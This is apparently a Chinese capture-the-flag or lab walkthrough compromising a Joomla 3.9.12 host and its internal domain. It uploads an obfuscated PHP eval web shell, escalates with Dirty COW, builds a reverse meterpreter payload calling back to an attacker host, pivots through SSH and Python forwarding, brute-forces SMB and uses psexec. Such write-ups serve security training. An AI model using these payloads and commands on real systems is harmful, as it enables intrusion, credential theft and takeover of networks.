扫描端口

开放了 80 、3306 、22 三个端口

扫描 cms

joomscan -u http://192.168.242.92/

得到的信息:

1、Joomla 3.9.12

_Joomla_是一款开源的内容管理系统(CMS),使用PHP编写,支持MySQL、MSSQL和PostgreSQL等多种数据库系统。

2、

http://192.168.242.92/administrator/components

http://192.168.242.92/administrator/modules

http://192.168.242.92/administrator/templates

http://192.168.242.92/images/banners

Interesting path found from robots.txt

http://192.168.242.92/joomla/administrator/

http://192.168.242.92/administrator/

http://192.168.242.92/bin/

http://192.168.242.92/cache/

http://192.168.242.92/cli/

http://192.168.242.92/components/

http://192.168.242.92/includes/

http://192.168.242.92/installation/

http://192.168.242.92/language/

http://192.168.242.92/layouts/

http://192.168.242.92/libraries/

http://192.168.242.92/logs/

http://192.168.242.92/modules/

http://192.168.242.92/plugins/

http://192.168.242.92/tmp/

3、数据库配置 config file path : http://192.168.242.92/configuration.php~

访问配置文件:

疑似数据库账号密码:

    public $user = 'testuser';

    public $password = 'cvcvgjASD!@';

    public $db = 'joomla';

现在可以尝试登录数据库:

bash 11 行
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(xvsf㉿kali)-[~]
└─$ mysql -h 192.168.242.92 -u testuser -p'cvcvgjASD!@' --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 33
Server version: 5.7.27-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

查询管理员数据

bash 9 行
1
2
3
4
5
6
7
8
9
MySQL [joomla]> SELECT id, name, username, password FROM am2zu_users;
+-----+------------+---------------+--------------------------------------------------------------+
| id  | name       | username      | password                                                     |
+-----+------------+---------------+--------------------------------------------------------------+
| 891 | Super User | administrator | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 |
+-----+------------+---------------+--------------------------------------------------------------+
1 row in set (0.007 sec)

MySQL [joomla]>

替换密码为 secret

bash 5 行
1
2
3
4
5
MySQL [joomla]> UPDATE am2zu_users SET password='$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' WHERE id=891;
Query OK, 1 row affected (0.035 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MySQL [joomla]>

登录 web 后台:

URL:http://192.168.242.92/administrator/

Username:administrator

Password:password

注入木马

写入木马:

bash 1 行
1
<?php $Wsmj=create_function(chr(0x8ca0/0x3e8).chr(87285/759).base64_decode('bw==').chr(0x3d9-0x36c).base64_decode('ZQ=='),chr(52116/516).chr(056622/0313).chr(71877/741).chr(0720-0544).chr(11400/285).base64_decode('JA==').chr(28980/252).base64_decode('bw==').chr(0xb85d/0x1b1).base64_decode('ZQ==').base64_decode('KQ==').str_rot13(';'));$Wsmj(base64_decode('MTkzM'.'jI7QG'.'V2QWw'.'oJF9Q'.''.chr(57456/684).chr(0x742f/0x25f).base64_decode('Tg==').str_rot13('H').chr(01716-01567).''.''.chr(18000/360).str_rot13('A').chr(0x15a-0xe6).chr(48060/534).str_rot13('S').''.'0pOzU'.'3OTY2'.'Ow=='.''));?>

[http://192.168.242.92/templates/beez3/shell.php](http://192.168.242.92/templates/beez3/shell.php)

cmd

但是无法执行命令

使用蚁剑的插件绕过函数限制

成功绕过

看大佬的 WP,找到了一组账号密码:

adduser wwwuser

passwd wwwuser_123Aqx

ssh 登录

wwwuser/wwwuser_123Aqx

换命令:

ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.242.92

当前权限:

  • wwwuser (UID 500), Web 服务普通用户权限。

系统信息:

  • 系统中有 nginx 用户
  • /etc/passwd 显示系统里除了 root 之外,只有 wwwuser 是有 /bin/bash 登录权限的普通用户。

网络环境 :

  • 有三张网卡:
    • eth3: 192.168.242.92
    • eth2: 192.168.93.100
    • eth4: 10.0.2.15

提权

bash 3 行
1
2
3
[wwwuser@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[wwwuser@localhost ~]$

Linux 提权

1、内核提权(脏牛肉提权)

2、suid提权

3、sudo提权

4、数据库提权

sudo -l 查看特权命令

不能使用sudo命令

suid提权,

通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令

内核提权

脏牛肉提权(CVE-2016-5195)

Linux脏牛(CVE-2016-5195)提权保姆级教程

脏牛-Linux内核提权 _

dirty.c内置在了kali中,使用命令**searchsploit dirty**可以搜索

低权限的用户能够在本地进行提权获取管理员权限

大概原理,Linux内核子系统在写入时产生了条件竞争。条件竞争就是程序在处理的时候异常,可能会让程序报错,这样让攻击者就有机可乘。

靶机的内核 2.6.32-431.el6.x86_64 是典型的 CentOS 6.5

在 Kali 上把代码导出来:

bash 1 行
1
searchsploit -m linux/local/40616.c

然后,使用 scp 上传。由于你目前是 wwwuser,建议传到有写权限的 /tmp 目录:

bash 1 行
1
scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa 40616.c wwwuser@192.168.242.92:/tmp/dirty.c

gcc -pthread dirty.c -o dirty -lcrypt

虽然有一些警告,但是只要编译成功就可以了

提权

./dirty 123456

这里卡住的话直接 ctrl+C 退出即可,然后验证提权成功

收集信息

上传 fscan

bash 1 行
1
scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa fscan wwwuser@192.168.242.92:/tmp/

chmod +x fscan

./fscan -h 192.168.93.0/24

发现存活主机:

主机开放端口操作系统
192.168.93.10135、445、139、88WIN-8GA56TNV3MV
192.168.93.20135、80、1433、445、139win2008
192.168.93.30139、135、445win7
192.168.93.12080、22Linux
192.168.93.10022、80、3306、Linux

使用ssh转发打通内网(正向)

bash 9 行
1
2
3
4
5
6
7
8
9
接下来通过ssh转发功能打通内网(用ssh而不用其他工具是因为目标自带且稳定)

按顺序执行以下命令

ssh -fgN -L 1111:192.168.93.10:445 localhost
 
ssh -fgN -L 2222:192.168.93.20:445 localhost
 
ssh -fgN -L 3333:192.168.93.30:445 localhost

上线 msf

首先使用msf生成一个shellcode:

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.188.104 LPORT=7890 -f elf > mshell.elf

上传

kali 监听:

靶机运行:

bash 2 行
1
2
chmod 777 mshell.elf
./mshell.elf
bash 4 行
1
2
3
4
[firefart@localhost tmp]# ls
bak  dirty  dirty.c  fscan  mshell.elf  passwd.bak  yum.log
[firefart@localhost tmp]# chmod 777 mshell.elf
[firefart@localhost tmp]# ./mshell.elf

成功上线:

内网信息收集

bash 14 行
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
meterpreter > route

IPv4 network routes
===================

    Subnet         Netmask        Gateway          Metric  Interface
    ------         -------        -------          ------  ---------
    0.0.0.0        0.0.0.0        192.168.242.168  0       eth3
    10.0.2.0       255.255.255.0  0.0.0.0          0       eth4
    192.168.93.0   255.255.255.0  0.0.0.0          0       eth2
    192.168.242.0  255.255.255.0  0.0.0.0          0       eth3

No IPv6 routes were found.
meterpreter >

内网 IP 探测

配置路由

扫描内网主机

bash 4 行
1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255 (扫主机的时候,最好分段扫描,0-255对于范围还是有些大。导致资源消耗)
set threads 5
run

发现存活主机:(上面已经探测过:)

主机开放端口操作系统
192.168.93.10135、445、139、88WIN-8GA56TNV3MV
192.168.93.20135、80、1433、445、139win2008
192.168.93.30139、135、445win7
192.168.93.12080、22Linux
192.168.93.10022、80、3306、Linux

爆破smb登陆密码

用 kali 自带的 /usr/share/wordlists/rockyou.txt 爆破了很久都没有成功,看师傅们的 WP 才发现根本没有那个密码。。。

administrator:123qwe!ASD

接下来使用use exploit/windows/smb/psexec模块来获取会话

使用py脚本打通内网(反向)

上传一个转发脚本到web主机

python 5 行
1
2
3
4
5
python sock.py 0.0.0.0 4444 192.168.188.104 4444 &
 
python sock.py 0.0.0.0 5555 192.168.188.104 5555 &
 
python sock.py 0.0.0.0 6666 192.168.188.104 6666 &

然后回到攻击机开始配置攻击模块 新开一个终端执行以下命令

回车之前先在开一个终端执行下方命令来接收会话

python 11 行
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
msfconsole
 
use exploit/multi/handler
 
set PAYLOAD windows/x64/meterpreter/reverse_tcp
 
set LHOST 0.0.0.0
 
set LPORT 5555
 
run

拿下 WIN2008

查找域控

接下来收集信息确认域控ip

shell

ipconfig /all

得到域控ip是192.168.93.10跟之前fscan扫描出来的结果一样,也开了445端口,但是密码却不是这两台主机的,所以还是依旧爆破

得到密码 zxcASDqw123!!

拿下域控

bash 11 行
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
msfconsole
 
use exploit/multi/handler
 
set PAYLOAD windows/x64/meterpreter/reverse_tcp
 
set LHOST 0.0.0.0
 
set LPORT 4444
 
run

拿下ubuntu

ssh 登录

wwwuser/wwwuser_123Aqx